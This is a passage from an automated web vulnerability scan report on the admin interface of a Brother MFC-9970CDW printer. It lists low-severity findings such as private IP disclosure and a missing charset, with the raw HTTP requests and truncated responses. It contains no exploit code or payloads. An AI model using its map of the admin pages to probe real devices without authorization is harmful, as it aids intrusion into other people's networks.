Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://192.168.1.117/list/lists_reports.html?aaaa=11111111&=&

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Vary: Accept-Language
Content-Length: 7503
Content-Type: text/html
Content-Language: en
Connection: close
Server: debut/1.20
Pragma: no-cache


<HTML>
<!--Copyright(C) 2000-2010 Brother Industries, Ltd. All Rights Reserved.-->

<HEAD>
<TITLE>
Brother MFC-9970CDW
</TITLE>


<META http-equiv=Content-Type content="text/html; charset=
...[SNIP]...

5.8. http://192.168.1.117/list/popup/printReport.html

Summary

Severity:   Information
Confidence:   Firm
Host:   http://192.168.1.117
Path:   /list/popup/printReport.html

Request

GET /list/popup/printReport.html?print=transmit_report&did=1363712975430 HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://192.168.1.117/list/lists_reports.html

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Vary: Accept-Language
Content-Length: 2052
Content-Type: text/html
Content-Language: en
Connection: close
Server: debut/1.20
Pragma: no-cache


<HTML><HEAD>


<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">


<LINK REL="STYLESHEET" HREF="../../common/mfcweb.css"><STYLE type="text/css">BODY { margin: 8 0 0 0
...[SNIP]...

5.9. http://192.168.1.117/main/main.html

Summary

Severity:   Information
Confidence:   Firm
Host:   http://192.168.1.117
Path:   /main/main.html

Request

GET /main/main.html HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Vary: Accept-Language
Content-Length: 9976
Content-Type: text/html
Content-Language: en
Connection: close
Server: debut/1.20
Pragma: no-cache


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Frameset//EN" "http://www.w3.org/TR/REC-html40/frameset.dtd"><HTML>
<!--Copyright(C) 2000-2010 Brother Industries, Ltd. All Rights Reserved.-->

<H
...[SNIP]...

5.10. http://192.168.1.117/net/internet_settings.html

Summary

Severity:   Information
Confidence:   Firm
Host:   http://192.168.1.117
Path:   /net/internet_settings.html

Request

GET /net/internet_settings.html HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://192.168.1.117/user/usbmain.html?id=dirp

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Vary: Accept-Language
Content-Length: 5860
Content-Type: text/html
Content-Language: en
Connection: close
Server: debut/1.20
Pragma: no-cache


<HTML>
<!--Copyright(C) 2000-2010 Brother Industries, Ltd. All Rights Reserved.-->

<HEAD>
<TITLE>
Brother MFC-9970CDW
</TITLE>


<META http-equiv=Content-Type content="text/html; charset=
...[SNIP]...

5.11. http://192.168.1.117/pbio/find.html

Summary

Severity:   Information
Confidence:   Firm
Host:   http://192.168.1.117
Path:   /pbio/find.html

Request

GET /pbio/find.html HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://192.168.1.117/list/lists_reports.html?aaaa=11111111&=&

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Vary: Accept-Language
Content-Length: 5312
Content-Type: text/html
Content-Language: en
Connection: close
Server: debut/1.20
Pragma: no-cache


<!-- All Rights Reserved. Copyright(C) 2000-2005 Brother Industries, Ltd. -->
<HTML>
<HEAD>
<TITLE>
Brother MFC-9970CDW
</TITLE>


<META http-equiv=Content-Type content="text/html; charse
...[SNIP]...

5.12. http://192.168.1.117/user/printermain.html

Summary

Severity:   Information
Confidence:   Firm
Host:   http://192.168.1.117
Path:   /user/printermain.html

Request

GET /user/printermain.html?id=autoregist HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://192.168.1.117/user/printermain.html?id=manualregist

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Vary: Accept-Language
Content-Length: 7821
Content-Type: text/html
Content-Language: en
Connection: close
Server: debut/1.20
Pragma: no-cache


<HTML>
<!--Copyright(C) 2000-2010 Brother Industries, Ltd. All Rights Reserved.-->

<HEAD>
<TITLE>
Brother MFC-9970CDW
</TITLE>


<META http-equiv=Content-Type content="text/html; charset
...[SNIP]...

6. Private IP addresses disclosed

Summary

Severity:   Information
Confidence:   Certain
Host:   http://192.168.1.117
Path:   /admin/profile_settings_net.html

Issue detail

The following RFC 1918 IP address was disclosed in the response:

Issue background

RFC 1918 specifies ranges of IP addresses that are reserved for use in private networks and cannot be routed on the public Internet. Although various methods exist by which an attacker can determine the public IP addresses in use by an organization, the private addresses used internally cannot usually be determined in the same ways.

Discovering the private addresses used within an organization can help an attacker in carrying out network-layer attacks aiming to penetrate the organization's internal infrastructure.

Issue remediation

There is not usually any good reason to disclose the internal IP addresses used within an organization's infrastructure. If these are being returned in service banners or debug messages, then the relevant services should be configured to mask the private addresses. If they are being used to track back-end servers for load balancing purposes, then the addresses should be rewritten with innocuous identifiers from which an attacker cannot infer any useful information about the infrastructure.

Request

GET /admin/profile_settings_net.html?id=scantonet&val=1&=& HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Vary: Accept-Language
Content-Length: 26252
Content-Type: text/html
Content-Language: en
Connection: close
Server: debut/1.20
Pragma: no-cache


<HTML>
<!--Copyright(C) 2000-2010 Brother Industries, Ltd. All Rights Reserved.-->

<HEAD>
<TITLE>
Brother MFC-9970CDW
</TITLE>


<META http-equiv=Content-Type content="text/html; charset
...[SNIP]...
<INPUT TYPE=text SIZE=20 MAXLENGTH=64 NAME=HostAddressNW1 VALUE="192.168.1.122">
...[SNIP]...

7. HTML does not specify charset
There are 2 instances of this issue:

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyze the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognized character set, for example charset=ISO-8859-1.


7.1. http://192.168.1.117/fax/date.html

Summary

Severity:   Information
Confidence:   Certain
Host:   http://192.168.1.117
Path:   /fax/date.html

Request

GET /fax/date.html HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://192.168.1.117/fax/general_setup.html?kind=item

Response

HTTP/1.0 200 OK
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Cache-Control: no-cache
Content-Length: 456
Content-Type: text/html
Connection: close
Server: debut/1.20
Pragma: no-cache

<HTML>
<!--Copyright(C) 2000-2010 Brother Industries, Ltd. All Rights Reserved.-->

<HEAD>
<TITLE>
Brother MFC-9970CDW
</TITLE>

</HEAD><BODY><INPUT type="hidden" name="result_date_start" />
<INPUT TY
...[SNIP]...

7.2. http://192.168.1.117/fax/time.html

Summary

Severity:   Information
Confidence:   Certain
Host:   http://192.168.1.117
Path:   /fax/time.html

Request

GET /fax/time.html HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://192.168.1.117/fax/general_setup.html?kind=item

Response

HTTP/1.0 200 OK
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Cache-Control: no-cache
Content-Length: 395
Content-Type: text/html
Connection: close
Server: debut/1.20
Pragma: no-cache

<HTML>
<!--Copyright(C) 2000-2010 Brother Industries, Ltd. All Rights Reserved.-->

<HEAD>
<TITLE>
Brother MFC-9970CDW
</TITLE>

</HEAD><BODY><INPUT type="hidden" name="result_time_start" />
<INPUT TY
...[SNIP]...

Report generated by Hoyt LLC at Wed Mar 20 10:04:57 EDT 2013.